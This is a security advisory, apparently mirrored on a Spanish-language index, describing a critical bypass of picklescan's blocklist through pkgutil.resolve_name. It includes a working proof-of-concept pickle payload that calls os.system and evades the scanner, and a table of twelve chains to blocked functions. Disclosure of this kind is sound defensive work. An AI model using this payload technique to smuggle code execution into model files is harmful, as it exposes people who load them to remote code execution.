GHSA-VVPJ-8CMC-GX39
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 1.0.4 | picklescan · -1 d desde divulgación | |
| Divulgación | Publicada | GHSA-VVPJ-8CMC-GX39 divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Summary
`pkgutil.resolve_name()` is a Python stdlib function that resolves any `"module:attribute"` string to the corresponding Python object at runtime. By using `pkgutil.resolve_name` as the first REDUCE call in a pickle, an attacker can obtain a reference to ANY blocked function (e.g., `os.system`, `builtins.exec`, `subprocess.call`) without that function appearing in the pickle's opcodes. picklescan only sees `pkgutil.resolve_name` (which is not blocked) and misses the actual dangerous function entirely.
This defeats picklescan's entire blocklist concept — every single entry in `_unsafe_globals` can be bypassed.
Severity
Critical (CVSS 10.0) — Universal bypass of all blocklist entries. Any blocked function can be invoked.
Affected Versions
- picklescan <= 1.0.3 (all versions including latest)
Details
How It Works
A pickle file uses two chained REDUCE calls:
1. STACK_GLOBAL: push pkgutil.resolve_name
2. REDUCE: call resolve_name("os:system") → returns os.system function object
3. REDUCE: call the returned function("malicious command") → RCEpicklescan's opcode scanner sees:
- `STACK_GLOBAL` with module=`pkgutil`, name=`resolve_name` → NOT in blocklist → CLEAN
- The second `REDUCE` operates on a stack value (the return of the first call), not on a global import → invisible to scanner
The string `"os:system"` is just data (a SHORT_BINUNICODE argument to the first REDUCE) — picklescan does not analyze REDUCE arguments, only GLOBAL/INST/STACK_GLOBAL references.
Decompiled Pickle (what the data actually does)
from pkgutil import resolve_name
_var0 = resolve_name('os:system') # Returns the actual os.system function
_var1 = _var0('malicious_command') # Calls os.system('malicious_command')
result = _var1Confirmed Bypass Targets
Every entry in picklescan's blocklist can be reached via resolve_name:
| Chain | Resolves To | Confirmed RCE | picklescan Result |
|-------|------------|---------------|-------------------|
| `resolve_name("os:system")` | `os.system` | YES | CLEAN |
| `resolve_name("builtins:exec")` | `builtins.exec` | YES | CLEAN |
| `resolve_name("builtins:eval")` | `builtins.eval` | YES | CLEAN |
| `resolve_name("subprocess:getoutput")` | `subprocess.getoutput` | YES | CLEAN |
| `resolve_name("subprocess:getstatusoutput")` | `subprocess.getstatusoutput` | YES | CLEAN |
| `resolve_name("subprocess:call")` | `subprocess.call` | YES (shell=True needed) | CLEAN |
| `resolve_name("subprocess:check_call")` | `subprocess.check_call` | YES (shell=True needed) | CLEAN |
| `resolve_name("subprocess:check_output")` | `subprocess.check_output` | YES (shell=True needed) | CLEAN |
| `resolve_name("posix:system")` | `posix.system` | YES | CLEAN |
| `resolve_name("cProfile:run")` | `cProfile.run` | YES | CLEAN |
| `resolve_name("profile:run")` | `profile.run` | YES | CLEAN |
| `resolve_name("pty:spawn")` | `pty.spawn` | YES | CLEAN |
Total: 11+ confirmed RCE chains, all reporting CLEAN.
Proof of Concept
import struct, io, pickle
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
# resolve_name("os:system")("id")
payload = (
b"\x80\x04\x95" + struct.pack("<Q", 55)
+ sbu("pkgutil") + sbu("resolve_name") + b"\x93" # STACK_GLOBAL
+ sbu("os:system") + b"\x85" + b"R" # REDUCE: resolve_name("os:system")
+ sbu("id") + b"\x85" + b"R" # REDUCE: os.system("id")
+ b"." # STOP
)
# picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0 # CLEAN!
# Execute: runs os.system("id") → RCE
pickle.loads(payload)Why `pkgutil` Is Not Blocked
picklescan's `_unsafe_globals` (v1.0.3) does not include `pkgutil`. The module is a standard import utility — its primary purpose is module/package resolution. However, `resolve_name()` can resolve ANY attribute from ANY module, making it a universal gadget.
Note: fickling DOES block `pkgutil` in its `UNSAFE_IMPORTS` list.
Impact
This is a complete bypass of picklescan's security model. The entire blocklist — every module and function entry in `_unsafe_globals` — is rendered ineffective. An attacker needs only use `pkgutil.resolve_name` as an indirection layer to call any Python function.
This affects:
- HuggingFace Hub (uses picklescan)
- Any ML pipeline using picklescan for safety validation
- Any system relying on picklescan's blocklist to prevent malicious pickle execution
Suggested Fix
- Immediate: Add `pkgutil` to `_unsafe_globals`:
- Also block similar resolution functions:
- Architectural: The blocklist approach cannot defend against indirect resolution gadgets. Even blocking `pkgutil`, an attacker could find other stdlib functions that resolve module attributes. Consider:
- Analyzing REDUCE arguments for suspicious strings (e.g., patterns matching `"module:function"`)
- Treating unknown globals as dangerous by default
- Switching to an allowlist model
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypipicklescan |
Corregida | 1.0.4 | -1 d | 1.0.5 no afectada |
1.0.4Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-3490https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vvpj-8cmc-gx39https://github.com/mmaitre314/picklescanhttps://www.vulncheck.com/advisories/picklescan-universal-blocklist-bypass-via-pkgutil-resolve-nameLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
